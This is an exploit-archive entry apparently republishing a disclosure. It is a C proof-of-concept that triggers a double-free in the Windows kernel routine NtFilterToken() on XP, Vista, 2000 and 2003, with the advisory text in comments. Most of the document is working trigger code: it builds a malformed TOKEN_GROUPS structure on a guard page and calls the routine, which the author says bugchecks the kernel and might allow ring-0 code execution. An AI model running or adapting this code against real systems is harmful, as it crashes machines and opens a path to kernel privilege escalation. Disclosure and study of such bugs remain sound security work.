Microsoft Windows XP/Vista/2000/2003 - Double-Free Memory Corruption Privilege Escalation

// source: https://www.securityfocus.com/bid/38044/info

// Microsoft Windows is prone to a local privilege-escalation vulnerability that occurs in the kernel.

// An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will cause a denial of service.

// --------------------------------------------------------
// Windows NtFilterToken() Double Free Vulnerability
// ----------------------------- [email protected] ------------
//
// INTRODUCTION
//
//      NtFilterToken() will jump to a cleanup routine if it failed to capture
//      the arguments specified due to pathological TOKEN_GROUP parameter. This
//      cleanup routine assumes a pointer passed to SeCaptureSidAndAttributesArray()
//      will be NULL if it fails, and attempts to release it otherwise.
//
//      Unfortunately there is a codepath where SeCaptureSidAndAttributesArray()
//      allocates a buffer, releases it on error, but then does not set it to
//      NULL. This causes NtFilterToken() to incorrectly free it again.
//
// IMPACT
//
//      This is probably exploitable (at least on MP kernels) to get ring0 code
//      execution, but you would have to get the released buffer re-allocated
//      during a very small window and you only get one attempt (the kernel
//      will bugcheck if you dont win the race).
//
//      Although technically this is a local privilege escalation, I don't think
//      it's possible to create a reliable exploit. Therefore, It's probably
//      safe to treat this as if it were a denial of service.
//
//      Interestingly, Microsoft are big proponents of static analysis and this
//      seems like a model example of a statically discoverable bug. I would
//      guess they're dissapointed they missed this one, it would be fun to
//      know what went wrong.
//
//      This vulnerability was reported to Microsoft in October, 2009.
//
// CREDIT
//
//      This bug was discovered by Tavis Ormandy <[email protected]>.
//

#include <windows.h>

PVOID AllocBufferOnPageBoundary(ULONG Size);

int main(int argc, char **argv)
{
    SID *Sid;
    HANDLE NewToken;
    FARPROC NtFilterToken;
    PTOKEN_GROUPS Restricted;

    // Resolve the required routine.
    NtFilterToken = GetProcAddress(GetModuleHandle("NTDLL"), "NtFilterToken");

    // Allocate SID such that touching the following byte will AV.
    Sid             = AllocBufferOnPageBoundary(sizeof(SID));
    Restricted      = AllocBufferOnPageBoundary(sizeof(PTOKEN_GROUPS) + sizeof(SID_AND_ATTRIBUTES));

    // Setup SID, SubAuthorityCount is the important field.
    Sid->Revision           = SID_REVISION;
    Sid->SubAuthority[0]    = SECURITY_NULL_RID;
    Sid->SubAuthorityCount  = 2;

    // Respect my authority.
    CopyMemory(Sid->IdentifierAuthority.Value, "taviso", sizeof Sid->IdentifierAuthority.Value);

    // Setup the TOKEN_GROUPS structure.
    Restricted->Groups[0].Attributes    = SE_GROUP_MANDATORY;
    Restricted->Groups[0].Sid           = Sid;
    Restricted->GroupCount              = 1;

    // Trigger the vulnerabilty.
    NtFilterToken(INVALID_HANDLE_VALUE,
                  0,
                  NULL,
                  NULL,
                  Restricted,
                  &NewToken);

    // Not reached
    return 0;
}

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif

// This is a quick routine to allocate a buffer on a page boundary. Simply
// VirtualAlloc() two consecutive pages read/write, then use VirtualProtect()
// to set the second page to PAGE_NOACCESS.
//
//          sizeof(buffer)
//                |
//              <-+->
//  +----------------+----------------+
//  | PAGE_READWRITE | PAGE_NOACCESS  |
//  +----------------+----------------+
//              ^     ^
//              |     |
//   buffer[0] -+     +- buffer[size]
//
// No error checking for simplicity, whatever :-)
//
PVOID AllocBufferOnPageBoundary(ULONG Size)
{
    ULONG GuardBufSize;
    ULONG ProtBits;
    PBYTE GuardBuf;

    // Round size requested up to the next multiple of PAGE_SIZE
    GuardBufSize = (Size + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);

    // Add one page to be the guard page
    GuardBufSize = GuardBufSize + PAGE_SIZE;

    // Map this anonymous memory
    GuardBuf = VirtualAlloc(NULL,
                            GuardBufSize,
                            MEM_COMMIT | MEM_RESERVE,
                            PAGE_READWRITE);

    // Make the final page NOACCESS
    VirtualProtect(GuardBuf + GuardBufSize - PAGE_SIZE,
                   PAGE_SIZE,
                   PAGE_NOACCESS,
                   &ProtBits);

    // Calculate where pointer should be, so that touching Buffer[Size] AVs.
    return GuardBuf + GuardBufSize - PAGE_SIZE - Size;
}